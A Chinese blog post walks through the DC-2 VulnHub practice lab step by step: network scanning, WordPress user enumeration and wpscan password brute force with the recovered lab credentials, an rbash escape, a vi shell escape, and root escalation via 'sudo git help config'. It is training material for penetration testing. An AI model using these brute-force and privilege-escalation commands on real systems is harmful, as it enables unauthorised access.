首页 > 其他分享 >DC2靶场

DC2靶场

时间:2024-05-07 09:23:56浏览次数:26  
标签:DC jerry dc 提权 flag 靶场 txt DC2

DC2

下载地址:

https://download.vulnhub.com/dc/DC-2.zip

题目要求:

Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

As with the original DC-1, it's designed with beginners in mind.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

Just like with DC-1, there are five flags including the final flag.

And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.

In short, the only flag that really counts, is the final flag.

For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.

I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.

信息收集

1.1 arp-scan -l

1.2 nmap -p- -sV -T5 192.168.126.132

1.3 whatweb 192.168.126.132

修改host

1.4 80端口301状态码永久重定向,修改本地host文件后访问

1.5 再次访问得知是WordPress

1.6 找到第一个flag

cewl获取密码字典

2.1 提示要求登录后台,换用户,可能需要用到cewl

用cewl爬取密码字典

cewl http://dc-2/ -w passwd.txt

2.2 WordPress后台地址

获取用户名

2.3 ?author=1的方法手动遍历用户

1和3回显2个用户

dc-2/?author=1

dc-2/?author=3

2.4 用wpscan检测到3个用户

wpscan --url http://dc-2/ -e u

echo "" > usr.txt

爆破

2.5 wpscan爆破

wpscan --url http://dc-2/ -U usr.txt -P passwd.txt

jerry/adipiscing

tom/parturient

2.6 jerry/adipiscing登录后台,发现flag2

提示WordPress上没有渗透点了,换条路

ssh还没尝试

3.1 ssh [email protected] -p 7744

3.2 ls

cat flag3.txt

发现受到rbash限制

rbash绕过

3.3 rbash绕过

BASH_CMDS[a]=/bin/sh;a#

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin

3.4 提到了jerry,su切换到jerry中

su jerry

adipiscing

cd /home/jerry

ls

3.5 cat flag4.txt

flag4提示git

git提权

4.1 git提权

sudo -l

git提权

sudo git help config

!/bin/bash

4.2 提权成功

cd /root

cat final-flag.txt

4.3 得到最后一个flag

补漏

查看可用命令

compgen -c

flag3内容

poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

vi部分提权

vi flag3.txt

:set shell=/bin/sh+回车

:shell+回车

切换到jerry,发现flag4

标签:DC,jerry,dc,提权,flag,靶场,txt,DC2
From: https://www.cnblogs.com/Minarui/p/18176478

相关文章

  • DC1靶场练习
    DC1下载地址:https://download.vulnhub.com/dc/DC-1.zip题目要求:DC-1isapurposelybuiltvulnerablelabforthepurposeofgainingexperienceintheworldofpenetrationtesting.Itwasdesignedtobeachallengeforbeginners,butjusthoweasyitiswillde......
  • 【攻防靶场系列】WEB LLM 学习及实操(一)
    什么是LLM❓大型语言模型(LLM)是一种AI算法,可以处理用户输入并通过预测单词序列来创建合理的响应。他们在巨大的半公开数据集上接受训练,使用机器学习来分析语言的组成部分如何组合在一起。如何检测LLM漏洞❓确定LLM(语言模型)的输入,包括直接输入(如提示)和间接输入(如训练数......
  • DHU网络攻防靶场攻击记录
    DHU网络靶场攻击记录已知:靶场入口10.199.227.xxx不完整的网络拓扑图:环境准备:kali/wsl-kali/虚拟机kali以及windows或其他操作系统的本机工具准备:Fscannmaplaravel-CVE-2021-3129-EXP-main哥斯拉Burpsuitemsfconsole(主要)目录DHU网络靶场攻击记录如何挂代理入口处机......
  • XSS漏洞靶场
    XSS漏洞靶场level1查看网站源码,发现get传参name的值test插入到了html头里面,还回显payload长度插入js代码,get传参?name=<script>alert()</script>本关小结:JS弹窗函数alert()level2貌似不对,查看下源码闭合掉双引号"><script>alert()</script><"本关小结:闭合绕过......
  • Centos7部署DVWA靶场
    Centos7部署DVWA靶场​ DVWA款开源的渗透测试漏洞练习平台,其中内含xsSQL注入、文件上传、文件包含、CSRF和暴力破解等各个难度的测试环境。安装httpd及其相关的组件yuminstall-yhttpdhttpd-devel安装php及其相关组件yum-yinstallphpphp-gdphp-ldapphp-odbc......
  • 360众测靶场考核
    前段时间参加了360众测靶场的考核,感觉还挺有意思的,难度也适中,于是记录一下解题过程。题目一共分为两个部分,第一部分是理论题,就是选择加判断,接触过web安全的应该都能过,也可以直接百度,主要记录第二部分的实操题。第一关打开网页如下图所示,直接给出了提示,struts2-013,于是直接......
  • 应急响应靶场Where-1S-tHe-Hacker
    应急响应实战靶场打开靶机,发现有两个用户,admin和admin$,一个是隐藏用户admin用户的密码是Aa123456杀软查杀进入主机,我们直接使用D盾和D-eyes杀软进行后台扫描,节省时间这边附上绿盟科技的D-Eyes的使用参数说明####Windows请以管理员身份运行cmd,之后再输入D-Eyes路径运......
  • sql 注入的类型之 post 基于错误的注入(sqllib靶场less-11-12)(通过burpusite分析)
      post注入和get注入一样,都是基于数据库没有对语句进行足够多的过滤,导致用户可以直接在url上执行sql语句。这两基本上没区别,但是基于post的注入在真实情况下会比get的多得多,最典型的post注入就是万能密码万能密码万能密码便是post注入的一种(也是sql注入),其原理也是因为后端......
  • win靶场练习where-1s-tHe-Hacker
    第一题题目说被攻击力,那就去网页看看怎么个事第一题秒了第二题 问修改时间,那就看php文件最后修改时间即可第三,四,五题 找webshell,d盾扫一下第六题 第七题 win+rcmdnetuseradmin$第八题 win+r eventvwr.msc安全筛选时间常见id类型4624登录成功......
  • vulntarget-e内网靶场笔记
    vulntarget-e一.打靶过程1.外网打点向日葵rcenmap-T4-sV-O-p0-65535192.168.126.130访问了49773端口后只有这个页面,只能扫描一下目录看看,但是扫出来也都是跳转到这个页面扫一下指纹信息,发现是向日葵(这里我自己扫不出来,俊贤哥说向日葵端口是变化的的自己写识别)未......